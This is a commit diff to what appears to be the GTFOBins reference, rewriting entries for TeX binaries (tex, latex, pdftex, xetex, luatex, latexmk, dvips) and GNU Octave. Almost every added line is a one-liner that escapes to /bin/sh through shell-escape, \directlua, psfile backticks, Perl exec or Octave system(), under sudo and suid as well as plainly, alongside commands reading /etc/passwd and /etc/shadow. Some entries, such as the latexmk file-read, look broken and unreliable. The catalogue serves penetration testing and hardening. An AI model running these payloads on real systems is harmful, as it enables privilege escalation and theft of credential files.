Fix and improve TeX binaries and GNU Octave

_gtfobins/dvips.md

@@ -1,8 +1,16 @@
+---
+description: The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target.
 functions:
+  shell:
+    - code: |
+        tex '\special{psfile="`/bin/sh 1>&0"}\end'
+        dvips -R0 texput.dvi
   sudo:
     - code: |
-        echo "\documentclass[12pt]{article} \begin{document}" > file.tex
+        tex '\special{psfile="`/bin/sh 1>&0"}\end'
-        echo '$$\hbox to5cm{\vbox to5cm{\vfil\special{psfile="`PROGRAM > /tmp/result"}}\hfill}$$' >> file.tex
+        sudo dvips -R0 texput.dvi
-        echo "\end{document}" >> file.tex
+  limited-suid:
-        tex -interaction=nonstopmode file.tex && sudo dvips -R0 file.dvi
+    - code: |
-        cat /tmp/result
+        tex '\special{psfile="`/bin/sh 1>&0"}\end'
+        ./dvips -R0 texput.dvi
+---

_gtfobins/latex.md

@@ -1,11 +1,21 @@
-description: `latex` is a symbolic link to [`pdftex`](/gtfobins/pdftex/). However the program does not have the same behaviour regarding the name of argv[0]. This is the same behaviour for [`xetex`](/gtfobins/xetex/)/[`xelatex`](/gtfobins/xelatex/).
+---
 functions:
+  shell:
+    - code: |
+        latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
   file-read:
-    - code: |
+    - description: The read file will be part of the output.
-        echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
+      code: |
-        latex read.tex
+        latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
-        strings read.dvi
+        strings article.dvi
   sudo:
+    - description: The read file will be part of the output.
+      code: |
+        sudo latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
+        strings article.dvi
     - code: |
-        echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
+        sudo latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
-        sudo latex -shell-escape file.tex
+  limited-suid:
+    - code: |
+        ./latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
+---

_gtfobins/latexmk.tex

@@ -1,11 +1,14 @@
-description: `latexmk` is a perl script.
+description: This allows to execute [`perl`](/gtfobins/perl/) code.
 functions:
+  shell:
+    - code: latexmk -e 'exec "/bin/sh";'
+    - code: latexmk -latex='/bin/sh #' /dev/null
   file-read:
-    - code: |
+    - code: latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
-        echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
+    - description: The read file will be part of the output.
-        latexmk read.tex
+      code: |
-        strings read.dvi
+        TF=$(mktemp)
+        echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}' >$TF
+        strings tmp.dvi
   sudo:
-    - code: |
+    - code: sudo latexmk -e 'exec "/bin/sh";'
-        echo "PROGRAM > /tmp/result.txt" > /tmp/run.sh
-        sudo latexmk -latex="/tmp/run.sh" file.tex 

_gtfobins/lualatex.md

@@ -1,6 +1,10 @@
-description: `lualatex` is a symbolic link to [`luatex`](/gtfobins/luatex/). However the program does not have the same behaviour regarding the name of argv[0]. It allows to call external command with \write18 but it also allows to call external [`lua`](/gtfobins/lua/) scripts.
+---
+description: This allows to execute [`lua`](/gtfobins/lua/) code.
 functions:
+  shell:
+    - code: lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
   sudo:
-    - code: |
+    - code: sudo lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
-        echo "\documentclass[12pt]{article} \usepackage{shellesc} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
+  limited-suid:
-        sudo lualatex -shell-escape file.tex
+    - code: ./lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
+---

_gtfobins/luatex.md

@@ -1,7 +1,10 @@
-description: `luatex` allows to call external [`lua`](/gtfobins/lua/) scripts.
+---
+description: This allows to execute [`lua`](/gtfobins/lua/) code.
 functions:
+  shell:
+    - code: luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
   sudo:
-    - code: |
+    - code: sudo luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
-        echo '\documentclass{article} \usepackage{luacode} \begin{document} \def\foo{\directlua{dofile("runfunc.lua")}} \foo \end{document}' > file.tex
+  limited-suid:
-        echo 'os.execute("/usr/bin/id")' > runfunc.lua
+    - code: ./luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
-        luatex --interaction=nonstopmode --shell-escape file.tex
+---

_gtfobins/octave.md

@@ -1,10 +1,14 @@
+---
 description: The payloads are compatible with GUI.
 functions:
   shell:
-    - code: octave-cli --eval "system('/bin/sh')"
+    - code: octave-cli --eval 'system("/bin/sh")'
   file-write:
-    - code: poctave-cli --eval 'filename = "file_to_write"; fid = fopen (filename, "w"); fputs (fid, "DATA"); fclose (fid);'
+    - code: octave-cli --eval 'filename = "file_to_write"; fid = fopen(filename, "w"); fputs(fid, "DATA"); fclose(fid);'
   file-read:
-    - code: octave-cli --eval 'fid = fopen ("/etc/passwd"); while(!feof(fid)); txt = fgetl(fid), txt; endwhile; fclose (fid);'
+    - code: octave-cli --eval 'format none; fid = fopen("file_to_read"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'
   sudo:
-    - code: sudo octave-cli --eval "system('/bin/sh')"
+    - code: sudo octave-cli --eval 'system("/bin/sh")'
+  limited-suid:
+    - code: ./octave-cli --eval 'system("/bin/sh")'
+---

_gtfobins/pdflatex.md

@@ -1,11 +1,21 @@
-description: `pdflatex` is a symbolic link to [`pdftex`](/gtfobins/pdftex/). However the program does not have the same behaviour regarding the name of argv[0]. This is the same behaviour for [`xetex`](/gtfobins/xetex/)/[`xelatex`](/gtfobins/xelatex/).
+---
 functions:
+  shell:
+    - code: |
+        pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
   file-read:
-    - code: |
+    - description: The read file will be part of the output.
-        echo "\documentclass[12pt]{article} \usepackage{verbatim} \hfuzz=25.002pt \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
+      code: |
-        latex read.tex
+        pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
-        #/etc/shadow is in read.pdf
+        pdftotext article.pdf -
   sudo:
+    - description: The read file will be part of the output.
+      code: |
+        sudo pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
+        pdftotext article.pdf -
     - code: |
-        echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
+        sudo pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
-        sudo pdflatex -shell-escape file.tex
+  limited-suid:
+    - code: |
+        ./pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
+---

_gtfobins/pdftex.md

@@ -1,6 +1,12 @@
-description: `pdftex` has a similar behaviour as [`tex`](/gtfobins/tex/)
+---
 functions:
+  shell:
+    - code: |
+        pdftex --shell-escape '\write18{/bin/sh}\end'
   sudo:
     - code: |
-        echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
+        sudo pdftex --shell-escape '\write18{/bin/sh}\end'
-        pdftex -interaction=nonstopmode --shell-escape file.tex
+  limited-suid:
+    - code: |
+        ./pdftex --shell-escape '\write18{/bin/sh}\end'
+---

_gtfobins/tex.md

@@ -1,6 +1,12 @@
-description: `tex` has a similar behaviour as [`pdftex`](/gtfobins/pdftex/)
+---
 functions:
+  shell:
+    - code: |
+        tex --shell-escape '\write18{/bin/sh}\end'
   sudo:
     - code: |
-        echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
+        sudo tex --shell-escape '\write18{/bin/sh}\end'
-        tex -interaction=nonstopmode --shell-escape file.tex
+  limited-suid:
+    - code: |
+        ./tex --shell-escape '\write18{/bin/sh}\end'
+---

_gtfobins/xelatex.md

@@ -1,11 +1,21 @@
-description: `xelatex` is a symbolic link to [`xetex`](/gtfobins/xetex/). However the program does not have the same behaviour regarding the name of argv[0].
+---
 functions:
+  shell:
+    - code: |
+        xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
   file-read:
-    - code: |
+    - description: The read file will be part of the output.
-        echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
+      code: |
-        latexmk read.tex
+        xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
-        #/etc/shadow is in read.pdf
+        strings article.dvi
   sudo:
+    - description: The read file will be part of the output.
+      code: |
+        sudo xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
+        strings article.dvi
     - code: |
-        echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
+        sudo xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
-        sudo xelatex -shell-escape file.tex
+  limited-suid:
+    - code: |
+        ./xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
+---

_gtfobins/xetex.md

@@ -1,5 +1,12 @@
+---
 functions:
+  shell:
+    - code: |
+        xetex --shell-escape '\write18{/bin/sh}\end'
   sudo:
     - code: |
-        echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
+        sudo xetex --shell-escape '\write18{/bin/sh}\end'
-        sudo xetex -interaction=nonstopmode -shell-escape file.tex
+  limited-suid:
+    - code: |
+        ./xetex --shell-escape '\write18{/bin/sh}\end'
+---